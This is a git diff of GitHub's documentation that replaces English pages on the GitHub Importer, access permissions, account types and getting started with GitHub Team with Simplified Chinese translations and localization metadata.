b/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md index ab8be9b319..0f9c06fba5 100644 --- a/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md +++ b/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md @@ -1,6 +1,6 @@ --- -title: Importing a repository with GitHub Importer -intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.' +title: 使用 GitHub 导入工具导入仓库 +intro: 如果您有项目托管在另一个版本控制系统上,可以使用 GitHub 导入工具将其自动导入到 GitHub。 redirect_from: - /articles/importing-from-other-version-control-systems-to-github - /articles/importing-a-repository-with-github-importer @@ -10,37 +10,42 @@ versions: fpt: '*' ghec: '*' shortTitle: Use GitHub Importer +ms.openlocfilehash: 09b03d2c2c62cf5812f35a3d5b3379c2d0c8e33e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145911197' --- {% tip %} -**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems. +提示:GitHub 导入工具并不适用于所有导入。 例如,如果您现有的代码托管在私有网络上,我们的工具便无法访问。 在这些情况下,我们建议对 Git 存储库[使用命令行导入](/articles/importing-a-git-repository-using-the-command-line),或者对从其他版本控制系统导入的项目使用[源代码迁移工具](/articles/source-code-migration-tools)。 {% endtip %} -If you'd like to match the commits in your repository to the authors' GitHub personal accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import. +如果在导入时要将存储库中的提交匹配到作者的 GitHub 个人帐户,请确保在开始导入之前,存储库的每个参与者都有 GitHub 帐户。 {% data reusables.repositories.repo-size-limit %} -1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**. -![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png) -2. Under "Your old repository's clone URL", type the URL of the project you want to import. -![Text field for URL of imported repository](/assets/images/help/importer/import-url.png) -3. Choose your personal account or an organization to own the repository, then type a name for the repository on GitHub. -![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png) -4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." -![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png) -5. Review the information you entered, then click **Begin import**. -![Begin import button](/assets/images/help/importer/begin-import-button.png) -6. If your old project requires credentials, type your login information for that project, then click **Submit**. -If SAML SSO or 2FA are enabled for your user account on the old project, enter a {% data variables.product.pat_generic %} with repository read permissions in the "Password" field instead of your password. -![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png) -7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**. -![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png) -8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**. -![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png) +1. 在任何页面的右上角,单击 {% octicon "plus" aria-label="Plus symbol" %},然后单击“导入存储库”。 +![新存储库菜单中的导入存储库选项](/assets/images/help/importer/import-repository.png) +2. 在 "Your old repository's clone URL"(您的旧仓库的克隆 URL)下,输入要导入的项目的 URL。 +![导入的存储库的 URL 对应的文本字段](/assets/images/help/importer/import-url.png) +3. 选择拥有存储库的个人帐户或组织,然后输入 GitHub 上帐户的名称。 +![存储库所有者菜单和存储库名称字段](/assets/images/help/importer/import-repo-owner-name.png) +4. 指定新存储库是“公共”还是“专用” 。 有关详细信息,请参阅[设置存储库可见性](/articles/setting-repository-visibility)。 +![公共或专用存储库单选按钮](/assets/images/help/importer/import-public-or-private.png) +5. 检查你输入的信息,然后单击“开始导入”。 +![“开始导入”按钮](/assets/images/help/importer/begin-import-button.png) +6. 如果你的旧项目需要凭据,请输入该项目的登录信息,然后单击“提交”。 如果在旧项目中为用户帐户启用了 SAML SSO 或 2FA,请在“密码”字段中输入具有存储库读取权限的个人访问令牌,而不是密码。 +![受密码保护项目的密码表单和“提交”按钮](/assets/images/help/importer/submit-old-credentials-importer.png) +7. 如果有多个项目托管在旧项目的克隆 URL 上,请选择要导入的项目,然后单击“提交”。 +![要导入的项目列表和“提交”按钮](/assets/images/help/importer/choose-project-importer.png) +8. 如果项目包含超过 100 MB 的文件,请选择是否使用 [Git 大型文件存储](/articles/versioning-large-files)导入大型文件,然后单击“继续”。 +![“Git 大型文件存储”菜单和“继续”按钮](/assets/images/help/importer/select-gitlfs-importer.png) -You'll receive an email when the repository has been completely imported. +在仓库完成导入时,您会收到一封电子邮件。 -## Further reading +## 延伸阅读 -- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)" +- “[使用 GitHub 导入工具更新提交作者归属](/articles/updating-commit-author-attribution-with-github-importer)” diff --git a/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md index 8967160362..8c23fa000c 100644 --- a/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md +++ b/translations/zh-CN/content/get-started/learning-about-github/access-permissions-on-github.md @@ -1,5 +1,5 @@ --- -title: Access permissions on GitHub +title: GitHub 上的访问权限 redirect_from: - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do - /articles/what-are-the-different-types-of-team-permissions @@ -7,7 +7,7 @@ redirect_from: - /articles/access-permissions-on-github - /github/getting-started-with-github/access-permissions-on-github - /github/getting-started-with-github/learning-about-github/access-permissions-on-github -intro: 'With roles, you can control who has access to your accounts and resources on {% data variables.product.product_name %} and the level of access each person has.' +intro: '使用角色,您可以控制谁有权访问您在 {% data variables.product.product_name %} 上的帐户和资源,以及每个人拥有的访问权限级别。' versions: fpt: '*' ghes: '*' @@ -17,40 +17,41 @@ topics: - Permissions - Accounts shortTitle: Access permissions +ms.openlocfilehash: 32db1949cbc110559023f719682caed0319aae9e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145128916' --- - -## About access permissions on {% data variables.product.prodname_dotcom %} +## 关于 {% data variables.product.prodname_dotcom %} 上的访问权限 {% data reusables.organizations.about-roles %} -Roles work differently for different types of accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)." +对于不同类型的帐户,角色的工作方式不同。 有关帐户的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 帐户类型](/get-started/learning-about-github/types-of-github-accounts)”。 -## Personal accounts +## 个人帐户 -A repository owned by a personal account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a personal account repository](/articles/permission-levels-for-a-user-account-repository)." +个人帐户拥有的存储库有两种权限级别:存储库所有者和协作者 。 有关详细信息,请参阅“[个人帐户存储库的权限级别](/articles/permission-levels-for-a-user-account-repository)”。 -## Organization accounts +## 组织帐户 -Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see: -- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" -- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" -- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" -- "[About teams](/articles/about-teams)" +组织成员可以拥有所有者{% ifversion fpt or ghec %}、计费管理员{% endif %}或成员角色 。 所有者对组织具有完全管理权限{% ifversion fpt or ghec %},而计费管理员可以管理计费设置{% endif %}。 成员是其他每个人的默认角色。 您可以通过团队一次管理多个成员的访问权限。 有关详细信息,请参阅: +- [组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) +- [组织的项目委员会权限](/articles/project-board-permissions-for-an-organization) +- [组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) +- [关于团队](/articles/about-teams) -## Enterprise accounts +## 企业帐户 -{% ifversion fpt %} -{% data reusables.gated-features.enterprise-accounts %} +{% ifversion fpt %} {% data reusables.gated-features.enterprise-accounts %} -For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github). -{% else %} -*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)." +有关企业帐户权限的详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github)。 +{% else %}企业所有者对企业帐户拥有最终执行权,并且可以在企业帐户中执行所有操作。{% ifversion ghec or ghes %}计费管理员可以管理企业帐户的计费设置。{% endif %}企业帐户所拥有的组织的成员和外部协作者自动成为企业帐户的成员,尽管他们无法访问企业帐户本身或其设置 。 有关详细信息,请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)”。 -{% ifversion ghec %} -If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new personal accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.enterprise.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.enterprise.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." -{% endif %} -{% endif %} +{% ifversion ghec %}如果企业使用 {% data variables.product.prodname_emus %},成员将在 {% data variables.product.prodname_dotcom %} 上预配作为新个人帐户,并由标识提供者完全托管。 {% data variables.product.prodname_managed_users %} 对不属于其企业的存储库具有只读访问权限,并且无法与不是企业成员的用户进行交互。 在企业拥有的组织中,可以向 {% data variables.product.prodname_managed_users %} 授予与常规组织相同的粒度访问级别。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。 +{% endif %} {% endif %} -## Further reading +## 延伸阅读 -- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)" +- [{% data variables.product.prodname_dotcom %} 帐户类型](/articles/types-of-github-accounts) diff --git a/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md index 70b4afd8f5..ded8d0220e 100644 --- a/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md +++ b/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md @@ -1,6 +1,6 @@ --- -title: Types of GitHub accounts -intro: 'Accounts on {% data variables.product.product_name %} allow you to organize and control access to code.' +title: GitHub 帐户类型 +intro: '{% data variables.product.product_name %} 上的帐户允许您组织和控制对代码的访问。' redirect_from: - /manage-multiple-clients - /managing-clients @@ -20,70 +20,69 @@ topics: - Mobile - Desktop - Security +ms.openlocfilehash: 9316fcb8b069b0b596c89d10ac1f89d86f1a62b7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145128892' --- +## 关于 {% data variables.product.product_name %} 上的帐户 -## About accounts on {% data variables.product.product_name %} +使用 {% data variables.product.product_name %},您可以存储和协作处理代码。 帐户允许您组织和控制对该代码的访问。 {% data variables.product.product_name %} 上有三种类型的帐户。 +- 个人帐户 +- 组织帐户 +- 企业帐户 -With {% data variables.product.product_name %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.product_name %}. -- Personal accounts -- Organization accounts -- Enterprise accounts +每个使用 {% data variables.product.product_name %} 的人都登录个人帐户。 组织帐户增强了多个个人帐户之间的协作,{% ifversion fpt or ghec %}企业帐户{% else %}{% data variables.product.product_location %} 的企业帐户{% endif %} 允许集中管理多个组织。 -Every person who uses {% data variables.product.product_name %} signs into a personal account. An organization account enhances collaboration between multiple personal accounts, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.location.product_location %}{% endif %} allows central management of multiple organizations. +## 个人帐户 -## Personal accounts +每个使用 {% data variables.product.product_location %} 的人都登录个人帐户。 您的个人帐户是您在 {% data variables.product.product_location %} 上的身份,并具有用户名和个人资料。 例如,查看 [@octocat 的个人资料](https://github.com/octocat)。 -Every person who uses {% data variables.location.product_location %} signs into a personal account. Your personal account is your identity on {% data variables.location.product_location %} and has a username and profile. For example, see [@octocat's profile](https://github.com/octocat). +您的个人帐户可以拥有存储库、包和项目等资源。 每当您对 {% data variables.product.product_location %} 执行任何操作(例如创建议题或查看拉取请求)时,该操作都将归因于您的个人帐户。 -Your personal account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.location.product_location %}, such as creating an issue or reviewing a pull request, the action is attributed to your personal account. - -{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)." {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %} +{% ifversion fpt or ghec %}每个个人帐户使用 {% data variables.product.prodname_free_user %} 或 {% data variables.product.prodname_pro %}。 所有个人帐户都可以拥有无限数量的公共和私有存储库,这些存储库上的协作者数量不受限制。 如果您使用 {% data variables.product.prodname_free_user %},则您的个人帐户拥有的私有仓库的功能集有限。 您可以升级到 {% data variables.product.prodname_pro %} 以获取私有仓库的完整功能集。 有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/articles/githubs-products)”。 {% else %}您可以创建由您的个人帐户拥有的无限数量的存储库,并在这些存储库上拥有无限数量的协作者。{% endif %} {% tip %} -**Tip**: Personal accounts are intended for humans, but you can create accounts to automate activity on {% data variables.product.product_name %}. This type of account is called a machine user. For example, you can create a machine user account to automate continuous integration (CI) workflows. +**提示**:个人帐户预期供人类使用,但你可以创建帐户以自动执行 {% data variables.product.product_name %} 上的活动。 此类型的帐户称为计算机用户。 例如,可以创建计算机用户帐户以自动执行持续集成 (CI) 工作流程。 {% endtip %} -{% ifversion fpt or ghec %} -Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see "[Merging multiple personal accounts](/articles/merging-multiple-user-accounts)." +{% ifversion fpt or ghec %} 大多数人会使用一个个人帐户来完成他们在 {% data variables.product.prodname_dotcom_the_website %} 上的所有工作,包括开源项目和带薪工作。 如果您当前使用多个为自己创建的个人帐户,我们建议您合并这些帐户。 有关详细信息,请参阅“[合并多个个人帐户](/articles/merging-multiple-user-accounts)”。 {% endif %} -## Organization accounts +## 组织帐户 -Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once. +组织是共享帐户,无限数量的人员可以同时跨多个项目进行协作。 -Like personal accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign into an organization. Instead, each person signs into their own personal account, and any actions the person takes on organization resources are attributed to their personal account. Each personal account can be a member of multiple organizations. +与个人帐户一样,组织可以拥有存储库、文件包和项目等资源。 但是,您无法登录到组织。 相反,每个人都登录到自己的个人帐户,并且该人员对组织资源执行的任何操作都将归因于其个人帐户。 每个个人帐户都可以是多个组织的成员。 -The personal accounts within an organization can be given different roles in the organization, which grant different levels of access to the organization and its data. All members can collaborate with each other in repositories and projects, but only organization owners and security managers can manage the settings for the organization and control access to the organization's data with sophisticated security and administrative features. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Keeping your organization secure](/organizations/keeping-your-organization-secure)." +可以为组织中的个人帐户分配组织中的不同角色,这些角色授予对组织及其数据的不同级别的访问权限。 所有成员都可以在存储库和项目中相互协作,但只有组织所有者和安全管理员才能管理组织的设置,并使用复杂的安全和管理功能控制对组织数据的访问。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”和“[保护组织安全](/organizations/keeping-your-organization-secure)”。 -![Diagram showing that users must sign in to their personal account to access an organization's resources](/assets/images/help/overview/sign-in-pattern.png) +![显示用户必须登录到其个人帐户才能访问组织资源的图表](/assets/images/help/overview/sign-in-pattern.png) -{% ifversion fpt or ghec %} -Even if you're a member of an organization that uses SAML single sign-on, you will still sign into your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %} +{% ifversion fpt or ghec %} 即使你是使用 SAML 单一登录的组织的成员,你仍将在 {% data variables.product.prodname_dotcom_the_website %} 登录你自己的个人帐户,并且该个人帐户将链接到你在组织的标识提供者 (IdP) 中的标识。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于使用 SAML 单一登录进行身份验证](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}”{% else %}。"{% endif %} -However, if you're a member of an enterprise that uses {% data variables.product.prodname_emus %}, instead of using a personal account that you created, a new account will be provisioned for you by the enterprise's IdP. To access any organizations owned by that enterprise, you must authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} -{% endif %} +但是,如果您是使用 {% data variables.product.prodname_emus %} 的企业的成员,而不是使用您创建的个人帐户,则企业的 IdP 将为您预置一个新帐户。 要访问该企业拥有的任何组织,您必须使用其 IdP 而不是 {% data variables.product.prodname_dotcom_the_website %} 用户名和密码进行身份验证。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}”。{% else %}."{% endif %} {% endif %} -You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)." +您还可以创建称为团队的组织成员的嵌套子组,以反映组的结构并简化访问管理。 有关详细信息,请参阅“[关于团队](/organizations/organizing-members-into-teams/about-teams)”。 {% data reusables.organizations.organization-plans %} -For more information about all the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)." +有关组织的所有功能的详细信息,请参阅“[关于组织](/organizations/collaborating-with-groups-in-organizations/about-organizations)”。 -## Enterprise accounts +## 企业帐户 -{% ifversion fpt %} -{% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% elsif ghec %} -Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." -{% elsif ghes or ghae %} -Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.location.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{% ifversion fpt %} {% data variables.product.prodname_ghe_cloud %} 和 {% data variables.product.prodname_ghe_server %} 包括企业帐户,这些帐户允许管理员集中管理多个组织的策略和计费,并在组织之间启用内部资源。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)”。 +{% elsif ghec %} 企业帐户允许对多个组织进行集中策略管理和计费。 您可以使用企业帐户集中管理策略和帐单。 与组织不同,企业帐户不能直接拥有存储库、文件包或项目等资源。 这些资源由企业帐户中的组织拥有。 有关详细信息,请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。 +{% elsif ghes or ghae %} 你的企业帐户是 {% endif %} {% data variables.product.product_location %} 上{% ifversion ghae %}拥有的{% elsif ghes %}所有组织的集合。 您可以使用企业帐户集中管理策略和帐单。 与组织不同,企业帐户不能直接拥有存储库、文件包或项目等资源。 这些资源由企业帐户中的组织拥有。 有关详细信息,请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。 {% endif %} -## Further reading +## 延伸阅读 {% ifversion fpt or ghec %} -- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"{% endif %} -- "[Creating a new organization account](/articles/creating-a-new-organization-account)" -- [Organizing people for successful collaboration](https://vimeo.com/333786093) video in {% data variables.product.company_short %} Resources +- “[注册新 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account)”{% endif %} +- “[创建新的组织帐户](/articles/creating-a-new-organization-account)” +- {% data variables.product.company_short %} 资源中的[组织人员成功协作](https://vimeo.com/333786093)视频 diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md index 0f9f02a3ef..bf43f07d98 100644 --- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md +++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-team.md @@ -1,99 +1,104 @@ --- -title: Getting started with GitHub Team -intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.' +title: 开始使用 GitHub Team +intro: '通过 {% data variables.product.prodname_team %} 组人员可以在组织帐户中同时跨多个项目进行协作。' versions: fpt: '*' +ms.openlocfilehash: 46b5376b72ce30f7c526f693f2adb9253853cf1d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '146139158' --- +本指南将引导您以组织所有者的身份设置、配置和管理您的 {% data variables.product.prodname_team %} 帐户。 -This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner. +## 第 1 部分:在 {% data variables.product.product_location %}上配置您的帐户 +若要开始使用 {% data variables.product.prodname_team %},首先需要创建个人帐户或登录到 {% data variables.product.prodname_dotcom %} 上的现有帐户,创建组织并设置账单。 -## Part 1: Configuring your account on {% data variables.location.product_location %} -As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a personal account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing. +### 1. 关于组织 +组织是共享帐户,其中业务和开源项目可同时跨多个项目进行协作。 所有者和管理员可使用复杂的安全性和管理功能来管理成员对组织数据和项目的访问。 有关组织功能的详细信息,请参阅“[关于组织](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)”。 -### 1. About organizations -Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations)." +### 2. 创建组织并注册 {% data variables.product.prodname_team %} +在创建组织之前,你需要在 {% data variables.product.product_location %} 上创建个人帐户或登录到现有帐户。 有关详细信息,请参阅“[注册新 {% data variables.product.prodname_dotcom %} 帐户](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)”。 -### 2. Creating an organization and signing up for {% data variables.product.prodname_team %} -Before creating an organization, you will need to create a personal account or log in to your existing account on {% data variables.location.product_location %}. For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/get-started/signing-up-for-github/signing-up-for-a-new-github-account)." +设置个人帐户后,你可以创建组织并选择计划。 您可以在此处为组织选择 {% data variables.product.prodname_team %} 订阅。 有关详细信息,请参阅“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。 -Once your personal account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +### 3. 管理组织的账单 +您必须单独管理每个个人帐户和组织的结算设置、付款方式以及付费功能和产品。 您可以使用设置中的上下文切换器在不同帐户的设置之间切换。 有关详细信息,请参阅“[在不同帐户的设置之间切换](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)”。 -### 3. Managing billing for an organization -You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see "[Switching between settings for your different accounts](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts)." +通过组织的计费设置页面,您可以管理付款方式、结算周期和帐单邮箱等设置,或查看订阅、帐单日期和付款历史记录等信息。 您还可以查看和升级您的存储和 GitHub Actions 分钟数。 有关管理计费设置的详细信息,请参阅“[管理 {% data variables.product.prodname_dotcom %} 计费设置](/billing/managing-your-github-billing-settings)”。 -Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see "[Managing your {% data variables.product.prodname_dotcom %} billing settings](/billing/managing-your-github-billing-settings)." - -Only organization members with the *owner* or *billing manager* role can access or change billing settings for your organization. A billing manager is someone who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)." +只有具有所有者或账单管理员角色的组织成员才能访问或更改组织的计费设置 。 帐单管理员是管理组织的计费设置且不在组织的订阅中使用付费许可证的人员。 有关将账单管理员添加到组织的详细信息,请参阅“[为组织添加帐单管理员](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)”。 -## Part 2: Adding members and setting up teams -After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, project boards, and apps. +## 第 2 部分:添加成员和设置团队 +创建组织后,您可以邀请成员并设置权限和角色。 您还可以创建不同级别的团队,并为组织的存储库、项目板和应用程序设置自定义权限级别。 -### 1. Managing members of your organization +### 1. 管理组织成员 {% data reusables.getting-started.managing-org-members %} -### 2. Organization permissions and roles +### 2. 组织权限和角色 {% data reusables.getting-started.org-permissions-and-roles %} -### 3. About and creating teams +### 3. 关于和创建团队 {% data reusables.getting-started.about-and-creating-teams %} -### 4. Managing team settings +### 4. 管理团队设置 {% data reusables.getting-started.managing-team-settings %} -### 5. Giving people and teams access to repositories, project boards and apps +### 5. 为人员和团队提供对存储库、项目板和应用的访问权限 {% data reusables.getting-started.giving-access-to-repositories-projects-apps %} -## Part 3: Managing security for your organization -You can help to make your organization more secure by recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations. +## 第 3 部分:管理组织的安全性 +通过建议或要求对组织成员进行双重身份验证、配置安全功能以及查看组织的审核日志和集成,可以帮助提高组织的安全性。 -### 1. Requiring two-factor authentication +### 1. 需要双重身份验证 {% data reusables.getting-started.requiring-2fa %} -### 2. Configuring security features for your organization +### 2. 为组织配置安全功能 {% data reusables.getting-started.configuring-security-features %} -### 3. Reviewing your organization's audit log and integrations +### 3. 查看组织的审核日志和集成 {% data reusables.getting-started.reviewing-org-audit-log-and-integrations %} -## Part 4: Setting organization level policies -### 1. Managing organization policies +## 第 4 部分:设置组织级别策略 +### 1. 管理组织策略 {% data reusables.getting-started.managing-org-policies %} -### 2. Managing repository changes +### 2. 管理存储库更改 {% data reusables.getting-started.managing-repo-changes %} -### 3. Using organization-level community health files and moderation tools +### 3. 使用组织级别的社区运行状况文件和审查工具 {% data reusables.getting-started.using-org-community-files-and-moderation-tools %} -## Part 5: Customizing and automating your work on {% data variables.product.product_name %} +## 第 5 部分:自定义和自动化 {% data variables.product.product_name %} 上的工作 {% data 